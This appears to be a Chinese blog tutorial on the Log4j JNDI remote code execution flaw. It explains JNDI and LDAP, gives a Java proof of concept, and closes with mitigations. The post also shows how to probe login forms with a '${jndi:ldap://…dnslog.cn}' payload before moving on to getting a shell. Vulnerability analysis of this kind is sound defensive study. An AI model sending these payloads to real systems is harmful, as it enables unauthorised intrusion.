漏洞分析-log4j RCE-JAVA篇

0x00 原理分析

log4j的介紹:

log4j是java打印輸出日誌的一個API,只要引入了log4j的jar包或者是在xml配置文件內配置好log4j即可輸入java運行時產生的日誌內容,一般用於記錄網站的日誌信息,比如用戶登錄、修改用戶信息等sql查詢操作。列如,在下圖中,啓動web服務,在lib目錄下引入log4j的jar包(API工具包),當用戶進行登錄時,就能獲取到用戶的操作日誌,如登錄查詢數據庫內的某個表:

 

 當用戶輸入賬號密碼時,log4j會打印其debug日誌信息,包含賬號密碼等(這裏存在一個信息泄露的風險)

 

 jndi的介紹:

全稱:然後介紹一下jndi這個的含義:jndi(Java Naming and Directory Interface)看英文意思就明白,是java的命名和目錄接口。

用法:jndi:協議://目錄(遠程服務器的資源),以jndi爲分界線,冒號後面的內容是jndi傳入的內容,可以這樣理解,jndi啥也不是,只是一種規範而已,

比如log4j的logger.error()方法,他是先執行的logger.error方法,然後再到lookup方法的,當傳入lookup方法的時候,jndi已經被去掉了,只讀取了後面的協議+目錄。

 

而在jdbc裏,是tomcat創建的上下文去調用的lookup方法,目錄的規範就是jndi的規範格式。

 一種協議規範:

 

實戰理解:這裏需要淺談一下jndi的使用,配置了很久,實戰終於理解了jndi的含義。他原本的作用是規範,比如用數據庫連接規範等,就是通過配置,讓tomcat提供一個上下文context對象,這個對象可以通過lookup方法設置好目錄(而怎麼設置目錄這裏,就是jndi提供的一種規範格式),然後建立與數據庫的連接。

(1)servlet代碼:

package com.example.day45_jndi;

import java.io.*;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
import javax.sql.DataSource;
@WebServlet("/test")
public class HelloServlet extends HttpServlet {
        @Override
        protected void service(HttpServletRequest req, HttpServletResponse resp) throws IOException {
            try {
                Context initContext = new InitialContext();
                DataSource ds = (DataSource)initContext.lookup("java:comp/env/jdbc/day38");
                Connection conn = ds.getConnection();//容易出錯,這裏要進行導包操作,導入數據庫與java的驅動包
                resp.getWriter().println(conn);;
                PreparedStatement ps = conn.prepareStatement("select * from tb_user");
                ResultSet rs = ps.executeQuery();
                resp.getWriter().println(rs.next());
                resp.getWriter().println(rs.getString(1));
                resp.getWriter().println(rs.getString(2));
                resp.getWriter().println(rs.getString(3));
                rs.close();
                conn.close();
            } catch (Exception e) {
                e.printStackTrace();

            }
        }
    }

(2)tomcat的conf目錄下的context.xml配置增加:

<Resource 
       name="jdbc/day38" 
       auth="Container" 
       type="javax.sql.DataSource"
       maxActive="100" 
       maxIdle="30" 
       maxWait="10000"
       username="root" 
       password="root" 
       driverClassName="com.mysql.jdbc.Driver"
       url="jdbc:mysql://localhost:3306/day38"
    />

 

 

 (3)web.xml的配置:

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
    <welcome-file-list>
        <welcome-file>index.html</welcome-file>
    </welcome-file-list>
    <resource-ref>
        <res-ref-name>jdbc/mysql</res-ref-name>
        <res-type>javax.sql.DataSource</res-type>
        <res-auth>Container</res-auth>
    </resource-ref>
</web-app>

 

 (4)容易出錯的點:需要導入一個jar包:可以直接在pom.xml中新增依賴

      <dependency>
          <groupId>mysql</groupId>
          <artifactId>mysql-connector-java</artifactId>
          <version>5.1.22</version>
      </dependency>

 

 

 (5)實現的效果:獲取數據庫的連接對象及執行sql語句進行查詢操作:

 

 (6)總結:主要的用法,創建tomcat容器的上下文context,然後通過這個上下文根據目錄去實例化一個數據庫連接源的對象,再通過這個數據源去創建數據庫連接:這裏的lookup方法主要就是根據目錄去實例化對象用的:

                Context initContext = new InitialContext();
                DataSource ds = (DataSource)initContext.lookup("java:comp/env/jdbc/day38");
                Connection conn = ds.getConnection();//容易出錯

總結+1:所以可以這樣理解,jndi是一種命名方式,是一種規範,提供給lookup方法或其他方法使用。他不止是可以訪問jdbc的目錄與服務,還可以訪問的現有的目錄及服務有:JDBC、LDAP、RMI、DNS、NIS、CORBA等

 

 ldap的介紹:

全稱:LDAP全稱是Lightweight Directory Access Protocol,輕量目錄訪問協議。顧名思義,LDAP是設計用來訪問目錄數據庫的一個標準而已。

一種協議:來到ldap就變得更加簡單,ldap是一種協議,與rmi的協議類似。都是通過去遠程服務器上加載java序列化或反序列化後的對象,然後實例化對象後,方便程序猿在本地調用那個對象的方法。

使用場景:觸發Lookup插件的場景是使用:${},如上述的${java:version} 表示使用Java的Lookup插件,傳入值爲version然後返回對應的結果,而此處的${jndi:ldap://ip:port} 則同理表示調用Jndi的Lookup傳入值爲 ldap://ip:port 。

0x01 效果演示

 

0x02 代碼分析

import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;


public class log4jRCE {
    private static final Logger logger = LogManager.getLogger(log4jRCE.class);
    public static void main(String[] args) {
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        logger.error("${jndi:ldap://5xxxx.dnslog.cn}");
        logger.error("${java:os}");
    }
}

 

 分析的快捷鍵:

jndi的命名格式,調用方法爲lookup。使用快捷鍵:ctrl+shift+alt+n(我發現好多文章都不寫他們怎麼調試的,看得頭暈眼花,這裏標註出來大家可以快速上手),快速查找類中的方法:lookup()

 

然後在此方法處設置斷點:debug模式運行java代碼:

 

 發現確實存在調用lookup方法:

 

 

 然後調用的lookup方法就會去請求dnslog。(那爲什麼lookup方法會去請求dnslog呢,代碼的分析又是怎麼樣的呢,這裏下篇文章再繼續分析。)

 

0x03 實戰審計

(1)問題引入假設我們要黑盒測試log4j漏洞,那首先在不知道網站是否使用了log4j組件的情況下,我們可以測試登錄框:

如下圖所示,在登錄框輸入:登錄名:${jndi:ldap://xxxx.dnslog.cn}、密碼隨意、驗證碼輸入。

 

 如果響應速度特別慢,就有可能是存在log4j rce,這時先用dnslog進行探測

 

 響應速度特別漫長,存在漏洞的可能性增加:

 

 

 

 發現dnslog存在回顯。然後就可以嘗試用其他方法getshell了。

(2)這裏我們進入代碼進行審計分析:存在兩處,主要是全局搜索使用了這兩個包的servlet接口,然後查看是否使用了looger.error()方法即可。

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

 

 

0x04 防禦措施

1、採用最新版本的log4j組件

2、惡意流量中可能存在jndi:ladp:// jdni:rmi,IDS和WAF可以編寫相應規則從流量中籤出攻擊流量;

3、添加jvm啓動參數-Dlog4j2.formatMsgNoLookups=true

4、修改配置文件log4j2.formatMsgNoLookups=True

5、修改環境變量FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 設置爲true

6、關閉不必要的外網請求;

7、禁用lookup或JNDI服務;

8、jdk升級到最新的版本;

0x05 參考文獻

https://blog.csdn.net/philip502/article/details/122255346

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章